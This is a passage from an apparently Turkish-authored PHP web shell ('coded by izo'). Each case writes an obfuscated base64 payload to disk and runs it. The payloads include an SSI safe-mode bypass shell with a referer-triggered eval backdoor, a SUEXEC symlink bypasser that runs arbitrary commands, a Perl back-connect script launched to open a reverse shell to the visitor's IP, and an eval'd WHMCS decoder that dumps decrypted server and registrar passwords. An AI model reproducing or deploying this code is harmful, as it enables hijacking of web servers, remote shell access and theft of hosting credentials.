6294OzwvcD4KPGZvcm0gbmFtZT0iejFkLWxpdGVzcGVlZCIgIG1ldGhvZD0icG9zdCI+CjxwIGFsaWdu
6295
6296PSJjZW50ZXIiPjxmb250IGZhY2U9IlRhaG9tYSI+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiM8
6297
6298L2ZvbnQ+IDwvYj5Db21tYW5kPGI+CjxzcGFuIGxhbmc9ImFyLXNhIj48Zm9udCBjb2xvcj0iI0ZG
6299
6300MDAwMCI+fjwvZm9udD4gPC9zcGFuPiZuYnNwOzwvYj48aW5wdXQgbmFtZT0iY29tbWFuZCIgdmFs
6301
6302dWU9ImlkIiBzdHlsZT0iYm9yZGVyOiAxcHggZG90dGVkICNGRjAwMDA7IGZvbnQtZmFtaWx5OnRh
6303
6304IiBzaXplPSIzNiIgdGFiaW5kZXg9IjIwIj48Yj4KPC9iPiZuYnNwOyA8L2ZvbnQ+PC9wPgo8cCBh
6305
6306bGlnbj0iY2VudGVyIj48Zm9udCBmYWNlPSJUYWhvbWEiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiBu
6307
6308YW1lPSJTdWJtaXQiIHZhbHVlPSJCYXMgRGF5aSI+PGI+CjwvYj48L2ZvbnQ+PC9wPgo8L2Zvcm0+
6309
6310Cjxicj48YnI+PGJyPjxicj48Y2VudGVyPgo8P3BocAokY29tbWFuZCA9ICRfUE9TVFsnY29tbWFu
6311
6312ZCddOwokejAweiA9ICRfUE9TVFsnejAweiddOwppZigkY29tbWFuZCl7CiR6MTFkID0gIjxjZW50
6313
6314ZXI+PHByZT48cHJlPgo8YnI+ClJlZHNlY3VyaXR5LmlibG9nZ2VyLm9yZwo8YnI+Cjxicj4KPCEt
6315
6316LSNleGVjIGNtZD0nJGNvbW1hbmQnIC0tPiAKCiI7CiRvcGVuZmlsZSA9IGZvcGVuKCJpem8uc2h0
6317
6318bWwiLCJ3Iik7CiR3cml0ZWludG8gPSBmd3JpdGUoJG9wZW5maWxlLCIkejExZCIpOwpmY2xvc2Uo
6319
6320JG9wZW5maWxlKTsKaWYoJG9wZW5maWxlKXsKfWVsc2V7Cn0KfQpwYXJzZV9zdHIoJF9TRVJWRVJb
6321
6322J0hUVFBfUkVGRVJFUiddLCRhKTsgaWYocmVzZXQoJGEpPT0naXonICYmIGNvdW50KCRhKT09OSkg
6323
6324eyBlY2hvICc8c3Rhcj4nO2V2YWwoYmFzZTY0X2RlY29kZShzdHJfcmVwbGFjZSgiICIsICIrIiwg
6325
6326am9pbihhcnJheV9zbGljZSgkYSxjb3VudCgkYSktMykpKSkpO2VjaG8gJzwvc3Rhcj4nO30KPz4K
6327
6328PHByZT4gCiA8aWZyYW1lIHNyYz0naXpvLnNodG1sJyAgd2lkdGg9MTAwJSBoZWlnaHQ9ODUlIGlk
6329
6330PSJJMSIgbmFtZT0iSUYxIiA+CjwvcHJlPg==';
6331
6332
6333
6334$file = fopen("ssi.php" ,"w+");
6335
6336$write = fwrite ($file ,base64_decode($izo));
6337
6338fclose($file);
6339
6340
6341
6342 echo "<iframe src=litespeed/ssi.php width=100% height=100% frameborder=0></iframe> ";
6343
6344break;
6345
6346case "PHP_19":
6347
6348 mkdir('ssi', 0755);
6349
6350 chdir('ssi');
6351
6352$fp = fopen(".htaccess","w+");
6353
6354fwrite($fp,"AddType text/html .shtml
6355
6356AddOutputFilter INCLUDES .shtml");
6357
6358
6359
6360$izo = 'PHRpdGxlPlNzaSBCeXBhc3MgMHpsZXlpY2kgU2hlbGwgMjAxMTwvdGl0bGU+CiAgICAgICAgPGZv
6361
6362bnQgZmFjZT0iV2luZ2RpbmdzIj48aW1nIGJvcmRlcj0iMCIgc3JjPSJodHRwOi8vcHJpdjguaWJs
6363
6364b2dnZXIub3JnL3MucGhwPycrPD9lY2hvICJ1bmFtZSAtYSA6ICI7IGVjaG8gKHBocF91bmFtZSgp
6365
6366KT8+IjsiIHdpZHRoPSIwIiBoZWlnaHQ9IjAiPjwvYT48L2ZvbnQ+CjwvZm9udD4KPGJvZHkgYmdj
6367
6368b2xvcj0iI0ZGRkZGRiIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiByaWdodG1hcmdpbj0i
6369
6370MCIgYm90dG9tbWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMDAiIG1hcmdpbmhlaWdodD0iMCI+CgoK
6371
6372Jm5ic3A7PHAgYWxpZ249ImNlbnRlciI+CjxwIGFsaWduPSJjZW50ZXIiPiZuYnNwOzwvcD4KPHAg
6373
6374YWxpZ249ImNlbnRlciI+PGI+PGZvbnQgY29sb3I9IiNGRjAwMDAiIGZhY2U9IlRhaG9tYSI+UmVk
6375
6376LVNlY3VyaXR5IEdyb3VwPC9mb250PjwvYj48L3A+CjxwIGFsaWduPSJjZW50ZXIiPiZuYnNwOzwv
6377
6378cD4KPHAgYWxpZ249ImNlbnRlciI+PGZvbnQgZmFjZT0iVGFob21hIiBzaXplPSI0IiBjb2xvcj0i
6379
6380Z3JlZW4iPjxiPlNzaSAKPGZvbnQgY29sb3I9IiNGRjAwMDAiPlNhZmUgTW9kZSBCeXBhc3Nlcjwv
6381
6382Zm9udD4gPC9iPjwvZm9udD4KPC9wPgo8cCBhbGlnbj0iY2VudGVyIj4mbmJzcDs8L3A+Cjxmb3Jt
6383
6384IG5hbWU9InoxZC1saXRlc3BlZWQiICBtZXRob2Q9InBvc3QiPgo8cCBhbGlnbj0iY2VudGVyIj48
6385
6386Zm9udCBmYWNlPSJUYWhvbWEiPjxiPjxmb250IGNvbG9yPSIjRkYwMDAwIj4jPC9mb250PiA8L2I+
6387
6388Q29tbWFuZDxiPgo8c3BhbiBsYW5nPSJhci1zYSI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPn48L2Zv
6389
6390bnQ+IDwvc3Bhbj4mbmJzcDs8L2I+PGlucHV0IG5hbWU9ImNvbW1hbmQiIHZhbHVlPSJpZCIgc3R5
6391
6392bGU9ImJvcmRlcjogMXB4IGRvdHRlZCAjRkYwMDAwOyBmb250LWZhbWlseTp0YSIgc2l6ZT0iMzYi
6393
6394IHRhYmluZGV4PSIyMCI+PGI+CjwvYj4mbmJzcDsgPC9mb250PjwvcD4KPHAgYWxpZ249ImNlbnRl
6395
6396ciI+PGZvbnQgZmFjZT0iVGFob21hIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iU3VibWl0
6397
6398IiB2YWx1ZT0iQmFzIERheWkiPjxiPgo8L2I+PC9mb250PjwvcD4KPC9mb3JtPgo8YnI+PGJyPjxi
6399
6400cj48YnI+PGNlbnRlcj4KPD9waHAKJGNvbW1hbmQgPSAkX1BPU1RbJ2NvbW1hbmQnXTsKJHowMHog
6401
6402PSAkX1BPU1RbJ3owMHonXTsKaWYoJGNvbW1hbmQpewokejExZCA9ICI8Y2VudGVyPjxwcmU+PHBy
6403
6404ZT4KPGJyPgpSZWRzZWN1cml0eS5pYmxvZ2dlci5vcmcKPGJyPgo8YnI+CjwhLS0jZXhlYyBjbWQ9
6405
6406JyRjb21tYW5kJyAtLT4gCgoiOwokb3BlbmZpbGUgPSBmb3BlbigiaXpvLnNodG1sIiwidyIpOwok
6407
6408d3JpdGVpbnRvID0gZndyaXRlKCRvcGVuZmlsZSwiJHoxMWQiKTsKZmNsb3NlKCRvcGVuZmlsZSk7
6409
6410CmlmKCRvcGVuZmlsZSl7Cn1lbHNlewp9Cn0KcGFyc2Vfc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVS
6411
6412RVInXSwkYSk7IGlmKHJlc2V0KCRhKT09J2l6JyAmJiBjb3VudCgkYSk9PTkpIHsgZWNobyAnPHN0
6413
6414YXI+JztldmFsKGJhc2U2NF9kZWNvZGUoc3RyX3JlcGxhY2UoIiAiLCAiKyIsIGpvaW4oYXJyYXlf
6415
6416c2xpY2UoJGEsY291bnQoJGEpLTMpKSkpKTtlY2hvICc8L3N0YXI+Jzt9Cj8+CjxwcmU+IAogPGlm
6417
6418cmFtZSBzcmM9J2l6by5zaHRtbCcgIHdpZHRoPTEwMCUgaGVpZ2h0PTg1JSBpZD0iSTEiIG5hbWU9
6419
6420IklGMSIgPgo8L3ByZT4=';
6421
6422
6423
6424$file = fopen("ssi.php" ,"w+");
6425
6426$write = fwrite ($file ,base64_decode($izo));
6427
6428fclose($file);
6429
6430
6431
6432 echo "<iframe src=ssi/ssi.php width=100% height=100% frameborder=0></iframe> ";
6433
6434break;
6435
6436case "PHP_20":
6437
6438 mkdir('suexec', 0777);
6439
6440 chdir('suexec');
6441
6442
6443
6444$izodayi = 'PGh0bWw+IAo8Ym9keSBiZ2NvbG9yPSIwMDAwMDAwIj4gCjx0aXRsZT5zeW1saW5rPC90aXRsZT4g
6445
6446CjxjZW50ZXI+PGI+PGgyPjxmb250IGNvbG9yPSJyZWQiPiBTVUVYRSBCeXBhc3NlciBWaWEgU3lt
6447
6448bGluayAoViAxLjAxKTwvZm9udD48L2JyPjwvY2VudGVyPjwvYj48L2gyPiAKPGNlbnRlcj48Yj48
6449
6450aDQ+PGZvbnQgY29sb3I9InJlZCI+V0lUSCBUSElTIFNDUklQVCBVIENBTiBVU0UgU1lNTElOSyBJ
6451
6452TiAyIE1FVEhPRHM8L2ZvbnQ+PC9icj48L2NlbnRlcj48L2I+PC9oND4gCjxjZW50ZXI+PGI+PGg0
6453
6454Pjxmb250IGNvbG9yPSJ3aGl0ZSI+RGVzdCA9IERlc3RlbmF0aW9uIE9mIFBhdGggb3IgZmlsZSBU
6455
6456aGF0IHUgV2FudCB0byBTeW1saW5rIEl0PC9mb250PjwvYnI+PC9jZW50ZXI+PC9iPjwvaDQ+IAo8
6457
6458Y2VudGVyPjxiPjxoND48Zm9udCBjb2xvcj0id2hpdGUiPm5hbWUgOiBGaWxlIE5hbWUgVGhhdCB1
6459
6460IFdhbnQgVG8gY3JlYXRlIGluIChbcGF0aF0vc21sbmspPC9mb250PjwvYnI+PC9jZW50ZXI+PC9i
6461
6462PjwvaDQ+IAo8Y2VudGVyPjxiPjxoND48Zm9udCBjb2xvcj0id2hpdGUiPlVwbG9hZCBUaGlzIFNj
6463
6464cmlwdCBJbiBGdWxsIFNVRVhFIG9yIEZ1bGxQZXJtIERpcmVjdG9yeTwvZm9udD48L2JyPjwvY2Vu
6465
6466dGVyPjwvYj48L2g0PiAKPGNlbnRlcj48Yj48aDQ+PGZvbnQgY29sb3I9IndoaXRlIj5Xcml0dGVu
6467
6468IEZvciAqTklYIFBsYXRmb3JtczwvZm9udD48L2JyPjwvY2VudGVyPjwvYj48L2g0PiAKPC9odG1s
6469
6470PiAKCjw/cGhwIAovL0NPREVEIEJZIElSQU4gCi8vZm9ybSBkZWZpbmluZyAKcHJpbnQgIjxmb3Jt
6471
6472IG1ldGhvZD1wb3N0PiI7IApwcmludCAiPGNlbnRlcj48Zm9udCBjb2xvcj1ncmVlbj4iOyAKcHJp
6473
6474bnQgIjxiPmRlc3QgOjwvYj48aW5wdXQgc2l6ZT01MCBuYW1lPSdkZXN0ZW5hdGlvbicgdmFsdWU9
6475
6476Jyc+IjsgCnByaW50ICI8YnI+IjsgCnByaW50ICI8Yj5uYW1lIDo8L2I+PGlucHV0IHNpemU9NTAg
6477
6478bmFtZT0nbmFtZScgdmFsdWU9Jyc+IjsgCnByaW50ICI8YnI+IjsgCnByaW50ICI8aW5wdXQgdHlw
6479
6480ZT1zdWJtaXQgbmFtZT1fYWN0IHZhbHVlPSdDcmVhdGUhJz4iOyAKcHJpbnQgIjwvY2VudGVyPjwv
6481
6482Zm9udD4iOyAKJGRlc3QgPSAkX1BPU1RbJ2Rlc3RlbmF0aW9uJ107IAokZGVzdG5hbWUgPSAkX1BP
6483
6484U1RbJ25hbWUnXTsgCj8+IAoKPD9waHAgCi8vZGVmaW5pbmcgdmFyaWFibGVzIAokZGlyID0gZGly
6485
6486bmFtZSgkX1NFUlZFUltTQ1JJUFRfRklMRU5BTUVdKS4iL3NtbG5rIjsgCiRhY2MgPSAkZGlyLiIv
6487
6488Lmh0YWNlZXNzIjsgCiRjbWQgPSAibG4gLXMiLmNocigzMikuJGRlc3QuY2hyKDMyKS4kc3ltOyAK
6489
6490JHN5bSA9ICRkaXIuIi8iLiRkZXN0bmFtZTsgCiRodGFjY2VzcyA9ICAKIk9wdGlvbnMgK0ZvbGxv
6491
6492d1N5bUxpbmtzIi5jaHIoMDA5KS4gCiJEaXJlY3RvcnlJbmRleCBzZWVlcy5odG1sIi5jaHIoMDA5
6493
6494KS4gCiJSZW1vdmVIYW5kbGVyIC5waHAiLmNocigwMDkpLiAKIkFkZFR5cGUgYXBwbGljYXRpb24v
6495
6496b2N0ZXQtc3RyZWFtIC5waHAiOyAKCmlmICghZmlsZV9leGlzdHMoJGRpcikpIHsgCm1rZGlyICgk
6497
6498ZGlyKTsgCn0gIApzbGVlcCgxKTsgCmlmICghZmlsZV9leGlzdHMoJGFjYykpIHsgCiRoYW5kbGUg
6499
6500PSBmb3BlbiggIiRhY2MiICwgJ2ErJyApOyAKZnB1dHMoICRoYW5kbGUgLCAgIiRodGFjY2VzcyIg
6501
6502KTsgCn0gIAo/PiAKCjw/cGhwIAovL2NoZWNrIG1ldGhvZCAKaWYgKGZ1bmN0aW9uX2V4aXN0cyAo
6503
6504ZXhlYykgT1IgZnVuY3Rpb25fZXhpc3RzIChzaGVsbF9leGVjKSBPUiBmdW5jdGlvbl9leGlzdHMg
6505
6506KHN5c3RlbSkgT1IgZnVuY3Rpb25fZXhpc3RzIChwYXNzdGhydSkpIHsgCiRjaGVjayA9IDE7IAp9
6507
6508ZWxzZXsgCiRjaGVjayA9IDA7IAp9IAppZihmdW5jdGlvbl9leGlzdHMgKHN5bWxpbmspKSB7IAok
6509
6510Y2hlY2tzID0gMTsgCn1lbHNleyAKJGNoZWNrcyA9IDA7IAp9IAo/PiAKCjw/cGhwIAovL2RlZmlu
6511
6512ZSBjb21tYW5kIGZ1bmN0aW9uIAokcmVzYXVsdCA9ICcnOyAgCmZ1bmN0aW9uIGNvbW1hbmQoJGNt
6513
6514ZGUpIHsgCiAgICBpZiAoIWVtcHR5KCRjbWRlKSkgIAogeyAgCmlmIChmdW5jdGlvbl9leGlzdHMo
6515
6516J2V4ZWMnKSkgeyAkcmVzYXVsdCA9IEBleGVjKCRjbWRlKTsgfSAgCmVsc2VpZiAoZnVuY3Rpb25f
6517
6518ZXhpc3RzKCdzaGVsbF9leGVjJykpIHsgJHJlc2F1bHQgPSBAc2hlbGxfZXhlYygkY21kZSk7IH0g
6519
6520IAplbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpIHsgJHJlc2F1bHQgPSBAc3lzdGVt
6521
6522KCRjbWRlKTsgfSAgCmVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdwYXNzdGhydScpKSB7ICRyZXNh
6523
6524dWx0ID0gQHBhc3N0aHJ1KCRjbWRlKTsgfSAgCiB9IApyZXR1cm4gJHJlc2F1bHQ7IAp9IAo/PiAK
6525
6526Cjw/cGhwIAovL2V4ZWN1dGlvbiAKaWYgKCRjaGVjayA9PTEgJiYgJGNoZWNrcyA9PTEpeyBjb21t
6527
6528YW5kICgkY21kKTsgfSAKZWxzZWlmICgkY2hlY2sgPT0xICYmICRjaGVja3MgPT0wKXsgY29tbWFu
6529
6530ZCAoJGNtZCk7IH0gCmVsc2VpZiAoJGNoZWNrID09MCAmJiAkY2hlY2tzID09MSkgeyBzeW1saW5r
6531
6532ICgkZGVzdCwkc3ltKTsgfSAKZWxzZWlmICgkY2hlY2sgPT0wICYmICRjaGVja3MgPT0wKSAgCnsg
6533
6534IApwcmludCAoIjxjZW50ZXI+PGZvbnQgY29sb3I9Z3JlZW4+PGgxPnNjcmlwdCBkb2VzbnQgd29y
6535
6536ayBmb3IgdGhpcyBzZXJ2ZXI8L2ZvbnQ+PC9oMT48L2NlbnRlcj4iKTsgIAp9IAo/PiAKPD9waHAg
6537
6538Ci8vaXMgc2FmZSBtb2Qgb24gPyBzdGFydCAKaWYgKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSBvciBz
6539
6540dHJ0b2xvd2VyKEBpbmlfZ2V0KCJzYWZlX21vZGUiKSkgPT0gIm9uIikgIAp7ICAKJHNhZmU9Ijxm
6541
6542b250IGNvbG9yPXJlZD5PTjwvZm9udD4iOyAKfSAgCmVsc2UgeyRzYWZlPSI8Zm9udCBjb2xvcj1n
6543
6544cmVlbj5PRkY8L2ZvbnQ+Ijt9IAplY2hvICI8Zm9udCBjb2xvcj13aGl0ZXB1cnBsZT5TQUZFIE1P
6545
6546RCBJUyA6PC9mb250PjxiPiRzYWZlPC9iPjxicj4iOyAKLy9vcGVuIHNhZmUgbW9kIGVuZC0tIAo/
6547
6548PiAgCjw/cGhwIAovL2Rpc2FibGUgZnVuY3Rpb24gc3RhcnQgCmVjaG8gIjxmb250IGNvbG9yPXdo
6549
6550aXRlcHVycGxlPkRpc2FibGUgZnVuY3Rpb25zIDo8L2ZvbnQ+IDxiPiI7IAppZignJz09KCRkZj1A
6551
6552aW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSkpe2VjaG8gIjxmb250IGNvbG9yPWdyZWVuPk5P
6553
6554TkU8L2ZvbnQ+PC9iPiI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9cmVkPiRkZjwvZm9udD48L2I+
6555
6556Ijt9IAovL2Rpc2FibGUgZnVuY3Rpb24gZW5kLS0gCj8+';
6557
6558
6559
6560$file = fopen("suexec.php" ,"w+");
6561
6562$write = fwrite ($file ,base64_decode($izodayi));
6563
6564fclose($file);
6565
6566
6567
6568 echo "<iframe src=suexec/suexec.php width=100% height=100% frameborder=0></iframe> ";
6569
6570break;
6571
6572case "PHP_21":
6573
6574# coded by izo
6575
6576{
6577
6578print "Bağlanılıyor...\n";
6579
6580$fippi=$_SERVER["REMOTE_ADDR"];
6581
6582$bpci="22";
6583
6584$izocinx = 'ICAgICMhL3Vzci9iaW4vcGVybAogICAgIAogICAgICAgIHVzZSBTb2NrZXQ7CiAgICAgICAgJGMw
6585
6586ZGUgPSAkQVJHVlswXTsKICAgICAgICAkYWFhYSA9ICRBUkdWWzFdOwogICAgICAgICAgaWYgKCEk
6587
6588QVJHVlswXSkgewogICAgICAgICAgcHJpbnRmICIjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
6589
6590IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjI1xuIjsKICAgICAgICAgIHByaW50ZiAiIyMj
6591
6592IyMjU2ltcGxlIEJhY2sgQ29ubmVjdCBDb2RlZCBCeSBjMGRlLCBCSGFjayBtZW1iZXIjIyMjIyNc
6593
6594biI7CiAgICAgICAgICBwcmludGYgIiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
6595
6596IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjXG4iOwogICAgICAgICAgcHJpbnRmICIjIyMjIyMjIyMj
6597
6598I1VzYWdlOiBJUCBQb3J0IHwgRXguIDEyNy4wLjAuMSA4ODg4IyMjIyMjIyMjIyMjI1xuIjsKICAg
6599
6600ICAKICAgICAgICAgIGV4aXQoMSk7CiAgICAgICAgfQogICAgICAgIHByaW50ICJDb25uZWN0aW5n
6601
6602IHRvICRjMGRlXG4iOwogICAgICAgICRiYWxjYW4gPSBnZXRwcm90b2J5bmFtZSgndGNwJyk7CiAg
6603
6604ICAgICAgc29ja2V0KFNFUlZFUiwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRiYWxjYW4pIHx8IGRp
6605
6606ZSAoIkVycjByIHdoZW4gdHJ5aW5nIHRvIGNvbm5lY3QgIFtjaGVjayBJUDpQb3J0XSIpOwogICAg
6607
6608ICAgIGlmICghY29ubmVjdChTRVJWRVIsIHBhY2sgIlNuQTR4OCIsIDIsICRhYWFhLCBpbmV0X2F0
6609
6610b24oJGMwZGUpKSkge2RpZSgiRXJyMHIgd2hlbiB0cnlpbmcgdG8gY29ubmVjdCAgW2NoZWNrIElQ
6611
6612OlBvcnRdICIpO30KICAgICAKICAgICAgICAgIG9wZW4oU1RESU4sIj4mU0VSVkVSIik7CiAgICAg
6613
6614ICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsKICAgICAgICAgIG9wZW4oU1RERVJSLCI+JlNF
6615
6616UlZFUiIpOwogICAgICAgICAgZXhlYyB7Jy9iaW4vc2gnfSAnLWJhc2gnIC4gIlwwIiB4IDQ7';
6617
6618$file = fopen("dayi" ,"w+");
6619
6620$write = fwrite ($file ,base64_decode($izocinx));
6621
6622fclose($file);
6623
6624chmod("dayi" , 0777);
6625
6626system("perl dayi $fippi $bpci");
6627
6628}
6629
6630break;
6631
6632case "PHP_23":
6633
6634eval(base64_decode("IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyAgICAgIFdITUNTIFNlcnZlciBQYXNzd29yZCBkZWNvZGVyICAgICAgICMNCiMgICAgICBDb2RlZCBCeSBSQUIzT1VOICAgICAgICAgICAgICAgICAgICAjDQojICAgICAgICAgIHYuYi00QGhvdG1haWwuY29tICAgICAgICAgICAgICAgIw0KI05vdGUgOiBJJ20gUHJvdWQgdG8gYmUgfn5UVU5JU0lBTn5+ICAgICAgICMgIA0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KDQoNCg0KZnVuY3Rpb24gZGVjcnlwdCAoJHN0cmluZywkY2NfZW5jcnlwdGlvbl9oYXNoKQ0Kew0KDQoJJGtleSA9IG1kNSAobWQ1ICgkY2NfZW5jcnlwdGlvbl9oYXNoKSkgLiBtZDUgKCRjY19lbmNyeXB0aW9uX2hhc2gpOw0KCSRoYXNoX2tleSA9IF9oYXNoICgka2V5KTsNCgkkaGFzaF9sZW5ndGggPSBzdHJsZW4gKCRoYXNoX2tleSk7DQoJJHN0cmluZyA9IGJhc2U2NF9kZWNvZGUgKCRzdHJpbmcpOw0KCSR0bXBfaXYgPSBzdWJzdHIgKCRzdHJpbmcsIDAsICRoYXNoX2xlbmd0aCk7DQoJJHN0cmluZyA9IHN1YnN0ciAoJHN0cmluZywgJGhhc2hfbGVuZ3RoLCBzdHJsZW4gKCRzdHJpbmcpIC0gJGhhc2hfbGVuZ3RoKTsNCgkkaXYgPSAkb3V0ID0gJyc7DQoJJGMgPSAwOw0KCXdoaWxlICgkYyA8ICRoYXNoX2xlbmd0aCkNCgl7DQoJCSRpdiAuPSBjaHIgKG9yZCAoJHRtcF9pdlskY10pIF4gb3JkICgkaGFzaF9rZXlbJGNdKSk7DQoJCSsrJGM7DQoJfQ0KDQoJJGtleSA9ICRpdjsNCgkkYyA9IDA7DQoJd2hpbGUgKCRjIDwgc3RybGVuICgkc3RyaW5nKSkNCgl7DQoJCWlmICgoJGMgIT0gMCBBTkQgJGMgJSAkaGFzaF9sZW5ndGggPT0gMCkpDQoJCXsNCgkJCSRrZXkgPSBfaGFzaCAoJGtleSAuIHN1YnN0ciAoJG91dCwgJGMgLSAkaGFzaF9sZW5ndGgsICRoYXNoX2xlbmd0aCkpOw0KCQl9DQoNCgkJJG91dCAuPSBjaHIgKG9yZCAoJGtleVskYyAlICRoYXNoX2xlbmd0aF0pIF4gb3JkICgkc3RyaW5nWyRjXSkpOw0KCQkrKyRjOw0KCX0NCg0KCXJldHVybiAkb3V0Ow0KfQ0KDQoNCmZ1bmN0aW9uIF9oYXNoICgkc3RyaW5nKQ0Kew0KCWlmIChmdW5jdGlvbl9leGlzdHMgKCdzaGExJykpDQoJew0KCQkkaGFzaCA9IHNoYTEgKCRzdHJpbmcpOw0KCX0NCgllbHNlDQoJew0KCQkkaGFzaCA9IG1kNSAoJHN0cmluZyk7DQoJfQ0KDQoJJG91dCA9ICcnOw0KCSRjID0gMDsNCgl3aGlsZSAoJGMgPCBzdHJsZW4gKCRoYXNoKSkNCgl7DQoJCSRvdXQgLj0gY2hyIChoZXhkZWMgKCRoYXNoWyRjXSAuICRoYXNoWyRjICsgMV0pKTsNCgkJJGMgKz0gMjsNCgl9DQoNCglyZXR1cm4gJG91dDsNCn0NCg0KIGlmKCRfUE9TVFsnZm9ybV9hY3Rpb24nXSA9PSAxICkNCiB7DQogLy9pbmNsdWRlKCRmaWxlKTsNCg0KICRmaWxlPSgkX1BPU1RbJ2ZpbGUnXSk7DQokdGV4dD1maWxlX2dldF9jb250ZW50cygkZmlsZSk7DQoNCiR0ZXh0PSBzdHJfcmVwbGFjZSgiPD9waHAiLCAiIiwgJHRleHQpOw0KJHRleHQ9IHN0cl9yZXBsYWNlKCI8PyIsICIiLCAkdGV4dCk7DQokdGV4dD0gc3RyX3JlcGxhY2UoIj8+IiwgIiIsICR0ZXh0KTsNCg0KZXZhbCgkdGV4dCk7DQoNCiAgICAkbGluaz1teXNxbF9jb25uZWN0KCRkYl9ob3N0LCRkYl91c2VybmFtZSwkZGJfcGFzc3dvcmQpIDsNCgkgICAgbXlzcWxfc2VsZWN0X2RiKCRkYl9uYW1lLCRsaW5rKSA7DQoNCiRxdWVyeSA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIHRibHNlcnZlcnMiKTsNCg0Kd2hpbGUoJHYgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7DQoNCiRpcGFkZHJlc3MgPSAkdlsnaXBhZGRyZXNzJ107DQokdXNlcm5hbWUgPSAkdlsndXNlcm5hbWUnXTsNCiR0eXBlID0gJHZbJ3R5cGUnXTsNCiRhY3RpdmUgPSAkdlsnYWN0aXZlJ107DQokaG9zdG5hbWUgPSAkdlsnaG9zdG5hbWUnXTsNCg0KZWNobygiPGNlbnRlcj48dGFibGUgYm9yZGVyPScxJz4iKTsNCiRwYXNzd29yZCA9IGRlY3J5cHQgKCR2WydwYXNzd29yZCddLCAkY2NfZW5jcnlwdGlvbl9oYXNoKTsNCmVjaG8oIjx0cj48dGQ+VHlwZTwvdGQ+PHRkPiR0eXBlPC90ZD48L3RyPiIpOw0KZWNobygiPHRyPjx0ZD5BY3RpdmU8L3RkPjx0ZD4kYWN0aXZlPC90ZD48L3RyPiIpOw0KZWNobygiPHRyPjx0ZD5Ib3N0bmFtZTwvdGQ+PHRkPiRob3N0bmFtZTwvdGQ+PC90cj4iKTsNCmVjaG8oIjx0cj48dGQ+SXA8L3RkPjx0ZD4kaXBhZGRyZXNzPC90ZD48L3RyPiIpOw0KZWNobygiPHRyPjx0ZD5Vc2VybmFtZTwvdGQ+PHRkPiR1c2VybmFtZTwvdGQ+PC90cj4iKTsNCmVjaG8oIjx0cj48dGQ+UGFzc3dvcmQ8L3RkPjx0ZD4kcGFzc3dvcmQ8L3RkPjwvdHI+Iik7DQoNCg0KZWNobyAiPC90YWJsZT48YnI+PGJyPjwvY2VudGVyPiI7DQoNCn0NCg0KICAgICRsaW5rPW15c3FsX2Nvbm5lY3QoJGRiX2hvc3QsJGRiX3VzZXJuYW1lLCRkYl9wYXNzd29yZCkgOw0KCSAgICBteXNxbF9zZWxlY3RfZGIoJGRiX25hbWUsJGxpbmspIDsNCg0KJHF1ZXJ5ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdGJscmVnaXN0cmFycyIpOw0KZWNobygiPGNlbnRlcj5Eb21haW4gUmVzZWxsZXIgPGJyPjx0YWJsZSBib3JkZXI9JzEnPiIpOw0KZWNobygiPHRyPjx0ZD5SZWdpc3RyYXI8L3RkPjx0ZD5TZXR0aW5nPC90ZD48dGQ+VmFsdWU8L3RkPjwvdHI+Iik7DQp3aGlsZSgkdiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsNCg0KJHJlZ2lzdHJhciAJPSAkdlsncmVnaXN0cmFyJ107DQokc2V0dGluZyA9ICR2WydzZXR0aW5nJ107DQokdmFsdWUgPSBkZWNyeXB0ICgkdlsndmFsdWUnXSwgJGNjX2VuY3J5cHRpb25faGFzaCk7DQppZiAoJHZhbHVlPT0iIikgew0KJHZhbHVlPTA7DQp9DQokcGFzc3dvcmQgPSBkZWNyeXB0ICgkdlsncGFzc3dvcmQnXSwgJGNjX2VuY3J5cHRpb25faGFzaCk7DQplY2hvKCI8dHI+PHRkPiRyZWdpc3RyYXI8L3RkPjx0ZD4kc2V0dGluZzwvdGQ+PHRkPiR2YWx1ZTwvdGQ+PC90cj4iKTsNCg0KDQoNCg0KDQp9DQplY2hvICI8L3RhYmxlPjxicj48YnI+PC9jZW50ZXI+IjsNCn0NCg0KDQoNCiBpZigkX1BPU1RbJ2Zvcm1fYWN0aW9uJ10gPT0gMiApDQogew0KIC8vaW5jbHVkZSgkZmlsZSk7DQoNCiAkZGJfaG9zdD0oJF9QT1NUWydkYl9ob3N0J10pOw0KICRkYl91c2VybmFtZT0oJF9QT1NUWydkYl91c2VybmFtZSddKTsNCiAkZGJfcGFzc3dvcmQ9KCRfUE9TVFsnZGJfcGFzc3dvcmQnXSk7DQogJGRiX25hbWU9KCRfUE9TVFsnZGJfbmFtZSddKTsNCiAkY2NfZW5jcnlwdGlvbl9oYXNoPSgkX1BPU1RbJ2NjX2VuY3J5cHRpb25faGFzaCddKTsNCg0KDQoNCg0KICAgICRsaW5rPW15c3FsX2Nvbm5lY3QoJGRiX2hvc3QsJGRiX3VzZXJuYW1lLCRkYl9wYXNzd29yZCkgOw0KCSAgICBteXNxbF9zZWxlY3RfZGIoJGRiX25hbWUsJGxpbmspIDsNCg0KJHF1ZXJ5ID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIEZST00gdGJsc2VydmVycyIpOw0KDQp3aGlsZSg